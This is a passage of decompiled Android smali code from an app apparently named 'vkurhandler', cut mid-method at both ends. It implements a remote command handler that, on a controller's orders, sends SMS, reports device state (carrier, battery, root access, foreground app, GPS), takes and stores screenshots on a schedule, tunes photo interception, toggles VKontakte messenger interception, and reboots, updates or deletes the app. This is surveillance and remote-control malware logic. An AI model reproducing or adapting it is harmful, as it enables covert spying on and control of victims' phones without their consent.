                    2432invoke-virtual {v1}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    2433move-result-object v1
                    2435invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    2436move-result-object v0
                    2438invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2439try_end_c85:
                    2440const-string v0, "ok"
                    2441iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2443iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2445invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->r()Lnet/vkurhandler/n;
                    2446move-result-object v0
                    2448invoke-virtual {v0}, Lnet/vkurhandler/n;->a()V
                    2449try_end_c92: goto/16 :goto_4e
                    2450cond_c94:
                    2451invoke-virtual {v2, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    2452move-result-object v4
                    2454const-string v5, "path"
                    2456invoke-virtual {v4, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    2457move-result-object v4
                    2459invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2460move-result v5
                    2461if-nez v5, :cond_cb1
                    2462new-instance v5, Lorg/json/JSONObject;
                    2464invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                    2466const-string v6, "path"
                    2468invoke-virtual {v5, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2470invoke-virtual {v1, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    2471try_end_cb1: add-int/lit8 v0, v0, 0x1
                    2472goto/16 :goto_c6c
                    2473catch_cb4: move-exception v0
                    2474try_start_cb5:
                    2475const-string v1, "Commander"
                    2477invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    2478goto/16 :goto_c85
                    2479cond_cbb:
                    2480iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2482const-string v5, "clear_app_folder"
                    2484invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2485move-result v4
                    2486if-eqz v4, :cond_cce
                    2488invoke-static {}, Lnet/vkurhandler/gn;->d()V
                    2490const-string v0, "ok"
                    2491iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2492goto/16 :goto_4e
                    2493cond_cce:
                    2494iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2496const-string v5, "enable_media_send_only_wifi"
                    2498invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2499move-result v4
                    2500if-eqz v4, :cond_cee
                    2502iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2504invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2505move-result-object v0
                    2507const-string v1, "send_media_only_wifi"
                    2508const/4 v2, 0x1
                    2510invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    2511move-result-object v0
                    2513invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2515const-string v0, "ok"
                    2516iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2517goto/16 :goto_4e
                    2518cond_cee:
                    2519iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2521const-string v5, "disable_media_send_only_wifi"
                    2523invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2524move-result v4
                    2525if-eqz v4, :cond_d0e
                    2527iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2529invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2530move-result-object v0
                    2532const-string v1, "send_media_only_wifi"
                    2533const/4 v2, 0x0
                    2535invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    2536move-result-object v0
                    2538invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2540const-string v0, "ok"
                    2541iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2542goto/16 :goto_4e
                    2543cond_d0e:
                    2544iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2546const-string v5, "send_sms"
                    2548invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2549move-result v4
                    2550if-eqz v4, :cond_d2f
                    2552iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2554const-string v1, ","
                    2556invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    2557move-result-object v0
                    2558const/4 v1, 0x0
                    2559aget-object v1, v0, v1
                    2560const/4 v2, 0x1
                    2561aget-object v0, v0, v2
                    2563invoke-static {v1, v0}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    2565const-string v0, "ok"
                    2566iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2567goto/16 :goto_4e
                    2568cond_d2f:
                    2569iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2571const-string v5, "reply"
                    2573invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2574move-result v4
                    2575if-eqz v4, :cond_e12
                    2576new-instance v4, Lorg/json/JSONObject;
                    2578invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                    2580iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2582const-string v1, "end_time_arecord"
                    2583const-wide/16 v6, 0x0
                    2585invoke-interface {v0, v1, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    2586move-result-wide v0
                    2588invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    2589move-result-wide v6
                    2590sub-long/2addr v0, v6
                    2591const-wide/16 v6, 0x3e8
                    2592div-long/2addr v0, v6
                    2594const-string v5, "env_time"
                    2595cmp-long v6, v0, v2
                    2596if-gez v6, :cond_d57
                    2597move-wide v0, v2
                    2598cond_d57:
                    2599invoke-virtual {v4, v5, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    2601const-string v0, "operator"
                    2603iget-object v1, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2605invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    2606move-result-object v1
                    2608invoke-virtual {v1}, Lnet/vkurhandler/Mobile;->g()Ljava/lang/String;
                    2609move-result-object v1
                    2611invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2613const-string v0, "screen_on"
                    2615iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2617invoke-static {v1}, Lnet/vkurhandler/gn;->k(Landroid/content/Context;)Landroid/os/PowerManager;
                    2618move-result-object v1
                    2620invoke-static {v1}, Lnet/vkurhandler/gn;->a(Landroid/os/PowerManager;)Z
                    2621move-result v1
                    2623invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    2625const-string v0, "inet_type"
                    2627iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2629invoke-static {v1}, Lnet/vkurhandler/gn;->j(Landroid/content/Context;)I
                    2630move-result v1
                    2632invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    2634const-string v0, "bat_level"
                    2636iget-object v1, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2638invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    2639move-result-object v1
                    2641invoke-virtual {v1}, Lnet/vkurhandler/ce;->a()I
                    2642move-result v1
                    2644invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    2646const-string v0, "charger"
                    2648iget-object v1, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2650invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    2651move-result-object v1
                    2653invoke-virtual {v1}, Lnet/vkurhandler/ce;->b()Z
                    2654move-result v1
                    2656invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    2658const-string v0, "record_type"
                    2660iget-object v1, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2662invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    2663move-result-object v1
                    2665invoke-virtual {v1}, Lnet/vkurhandler/v;->e()I
                    2666move-result v1
                    2668invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    2670const-string v0, "has_root_access"
                    2672invoke-static {}, Lnet/vkurhandler/ec;->b()Z
                    2673move-result v1
                    2675invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    2677iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2679iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2681iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2683invoke-static {v2}, Lnet/vkurhandler/gn;->m(Landroid/content/Context;)Landroid/app/ActivityManager;
                    2684move-result-object v2
                    2686invoke-static {v1, v2}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Landroid/app/ActivityManager;)Ljava/lang/String;
                    2687move-result-object v1
                    2689invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    2690move-result-object v0
                    2692const-string v1, "top_app"
                    2694invoke-virtual {v4, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2696const-string v0, "app_work_time"
                    2698invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    2699move-result-wide v2
                    2701invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    2702move-result-wide v6
                    2703sub-long/2addr v2, v6
                    2704const-wide/16 v6, 0x3e8
                    2705div-long/2addr v2, v6
                    2707invoke-virtual {v4, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    2709const-string v0, "os_work_time"
                    2711invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
                    2712move-result-wide v2
                    2713const-wide/16 v6, 0x3e8
                    2714div-long/2addr v2, v6
                    2716invoke-virtual {v4, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    2718const-string v0, "sd_total_size"
                    2720invoke-static {}, Lnet/vkurhandler/bu;->c()J
                    2721move-result-wide v2
                    2723invoke-virtual {v4, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    2725const-string v0, "sd_avail_size"
                    2727invoke-static {}, Lnet/vkurhandler/bu;->b()J
                    2728move-result-wide v2
                    2730invoke-virtual {v4, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    2732const-string v0, "gps_enable"
                    2734iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2736invoke-static {v1}, Lnet/vkurhandler/gn;->q(Landroid/content/Context;)Z
                    2737move-result v1
                    2739invoke-virtual {v4, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    2741invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    2742move-result-object v0
                    2743iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2744goto/16 :goto_4e
                    2745cond_e12:
                    2746iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2748const-string v3, "interception_photo_quality"
                    2750invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2751move-result v2
                    2752if-eqz v2, :cond_e42
                    2754iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2755const/4 v1, 0x0
                    2757invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    2758move-result v0
                    2759if-ltz v0, :cond_e3c
                    2760if-gt v0, v6, :cond_e3c
                    2762iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2764invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2765move-result-object v1
                    2767const-string v2, "interception_photo_quality"
                    2769invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    2770move-result-object v0
                    2772invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2774const-string v0, "ok"
                    2775iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2776goto/16 :goto_4e
                    2777cond_e3c:
                    2778const-string v0, "incorrect_params"
                    2779iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2780goto/16 :goto_4e
                    2781cond_e42:
                    2782iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2784const-string v3, "screen_quality"
                    2786invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2787move-result v2
                    2788if-eqz v2, :cond_e86
                    2790iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2791const/4 v1, 0x0
                    2793invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    2794move-result v0
                    2795if-ltz v0, :cond_e80
                    2796if-gt v0, v6, :cond_e80
                    2798iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2800invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2801move-result-object v1
                    2803const-string v2, "screen_quality"
                    2805invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    2806move-result-object v0
                    2808invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2810iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2812const-string v1, "take_screen"
                    2813const/4 v2, 0x0
                    2815invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    2816move-result v0
                    2817if-eqz v0, :cond_e7a
                    2819iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2821invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    2822move-result-object v0
                    2824invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    2825cond_e7a:
                    2826const-string v0, "ok"
                    2827iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2828goto/16 :goto_4e
                    2829cond_e80:
                    2830const-string v0, "incorrect_params"
                    2831iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2832goto/16 :goto_4e
                    2833cond_e86:
                    2834iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2836const-string v3, "make_photo_unlock_config"
                    2838invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2839move-result v2
                    2840if-eqz v2, :cond_ea7
                    2842iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2844invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2845move-result-object v0
                    2847const-string v1, "make_photo_unlock_config"
                    2849iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2851invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    2852move-result-object v0
                    2854invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2856const-string v0, "ok"
                    2857iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2858goto/16 :goto_4e
                    2859cond_ea7:
                    2860iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2862const-string v3, "reboot"
                    2864invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2865move-result v2
                    2866if-eqz v2, :cond_ece
                    2868iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2870invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    2871move-result-object v0
                    2873invoke-virtual {v0}, Lnet/vkurhandler/v;->c()V
                    2874new-instance v0, Ljava/lang/Thread;
                    2875new-instance v1, Lnet/vkurhandler/aj;
                    2876const/4 v2, 0x0
                    2878invoke-direct {v1, v2}, Lnet/vkurhandler/aj;-><init>(Lnet/vkurhandler/aj;)V
                    2880invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                    2882invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                    2884const-string v0, "ok"
                    2885iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2886goto/16 :goto_4e
                    2887cond_ece:
                    2888iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2890const-string v3, "update"
                    2892invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2893move-result v2
                    2894if-eqz v2, :cond_ee5
                    2896iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2898iget-object v1, p0, Lnet/vkurhandler/ah;->e:Ljava/lang/String;
                    2900invoke-static {v0, v1}, Lnet/vkurhandler/gl;->a(Landroid/content/Context;Ljava/lang/String;)V
                    2902const-string v0, "ok"
                    2903iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2904goto/16 :goto_4e
                    2905cond_ee5:
                    2906iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2908const-string v3, "delete"
                    2910invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2911move-result v2
                    2912if-eqz v2, :cond_efa
                    2914iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2916invoke-static {v0}, Lnet/vkurhandler/gn;->c(Landroid/content/Context;)V
                    2918const-string v0, "ok"
                    2919iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2920goto/16 :goto_4e
                    2921cond_efa:
                    2922iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2924const-string v3, "take_screen"
                    2926invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2927move-result v2
                    2928if-eqz v2, :cond_f82
                    2930invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    2931move-result v0
                    2932if-eqz v0, :cond_f7c
                    2934iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2936const-string v1, "screen_quality"
                    2937const/4 v2, 0x0
                    2939invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    2940move-result v0
                    2942iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2944const-string v2, "screen_use_jpeg_compress"
                    2945const/4 v3, 0x1
                    2947invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    2948move-result v1
                    2950iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2952iget-object v3, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2954invoke-static {v3}, Lnet/vkurhandler/gn;->m(Landroid/content/Context;)Landroid/app/ActivityManager;
                    2955move-result-object v3
                    2957invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Landroid/app/ActivityManager;)Ljava/lang/String;
                    2958move-result-object v2
                    2960iget-object v3, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    2962invoke-static {v3, v2}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    2963move-result-object v3
                    2965invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    2966move-result-object v4
                    2968invoke-static {v4, v0, v1}, Lnet/vkurhandler/ee;->a(Ljava/io/File;IZ)V
                    2970invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    2971move-result-object v0
                    2973const-string v1, "type"
                    2974const/4 v5, 0x2
                    2976invoke-virtual {v0, v1, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    2978const-string v1, "sub_type"
                    2979const/4 v5, 0x3
                    2981invoke-virtual {v0, v1, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    2983const-string v1, "date"
                    2985invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    2986move-result-object v5
                    2988invoke-virtual {v0, v1, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    2990const-string v1, "app_name"
                    2992invoke-virtual {v0, v1, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    2994const-string v1, "pkg_name"
                    2996invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    2998const-string v1, "file_ext"
                    3000const-string v2, ".png"
                    3002invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    3004const-string v1, "file_name"
                    3006invoke-virtual {v4}, Ljava/io/File;->getName()Ljava/lang/String;
                    3007move-result-object v2
                    3009invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    3011const-string v1, "absolute_file_path"
                    3013invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    3014move-result-object v2
                    3016invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    3018iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    3020invoke-static {v1, v0}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    3022const-string v0, "ok"
                    3023iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3024goto/16 :goto_4e
                    3025cond_f7c:
                    3026const-string v0, "sd_card_not_found"
                    3027iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3028goto/16 :goto_4e
                    3029cond_f82:
                    3030iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3032const-string v3, "enable_screen_maker"
                    3034invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3035move-result v2
                    3036if-eqz v2, :cond_fe3
                    3038iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3040invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3041move-result-object v0
                    3043const-string v1, "take_screen"
                    3044const/4 v2, 0x1
                    3046invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3047move-result-object v0
                    3049invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3051iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3053const-string v1, ","
                    3055invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    3056move-result-object v0
                    3057const/4 v1, 0x1
                    3058aget-object v0, v0, v1
                    3059const/4 v1, 0x5
                    3060const v2, 0x186a0
                    3062invoke-static {v0, v1, v2}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;II)I
                    3063move-result v0
                    3065iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3067invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3068move-result-object v1
                    3070const-string v2, "take_screen_interval"
                    3072invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    3073move-result-object v0
                    3075invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3077iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3079invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3080move-result-object v0
                    3082invoke-virtual {v0}, Lnet/vkurhandler/ee;->c()Z
                    3083move-result v0
                    3084if-eqz v0, :cond_fd9
                    3086iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3088invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3089move-result-object v0
                    3091invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3092goto_fd3:
                    3093const-string v0, "ok"
                    3094iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3095goto/16 :goto_4e
                    3096cond_fd9:
                    3097iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3099invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3100move-result-object v0
                    3102invoke-virtual {v0}, Lnet/vkurhandler/ee;->b()V
                    3103goto/16 :goto_fd3
                    3104cond_fe3:
                    3105iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3107const-string v3, "disable_screen_maker"
                    3109invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3110move-result v2
                    3111if-eqz v2, :cond_100c
                    3113iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3115invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3116move-result-object v0
                    3118const-string v1, "take_screen"
                    3119const/4 v2, 0x0
                    3121invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3122move-result-object v0
                    3124invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3126iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3128invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3129move-result-object v0
                    3131invoke-virtual {v0}, Lnet/vkurhandler/ee;->d()V
                    3133const-string v0, "ok"
                    3134iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3135goto/16 :goto_4e
                    3136cond_100c:
                    3137iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3139const-string v3, "messenger_rt_vkontakte"
                    3141invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3142move-result v2
                    3143if-eqz v2, :cond_1044
                    3145iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3147invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3148move-result-object v0
                    3150const-string v1, "messenger_rt_vkontakte"
                    3152const-string v2, "true"
                    3154iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3156invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3157move-result v2
                    3159invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3160move-result-object v0
                    3162invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3164iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3166invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->j()Lnet/vkurhandler/dj;
                    3167move-result-object v0
                    3169const-string v1, "true"
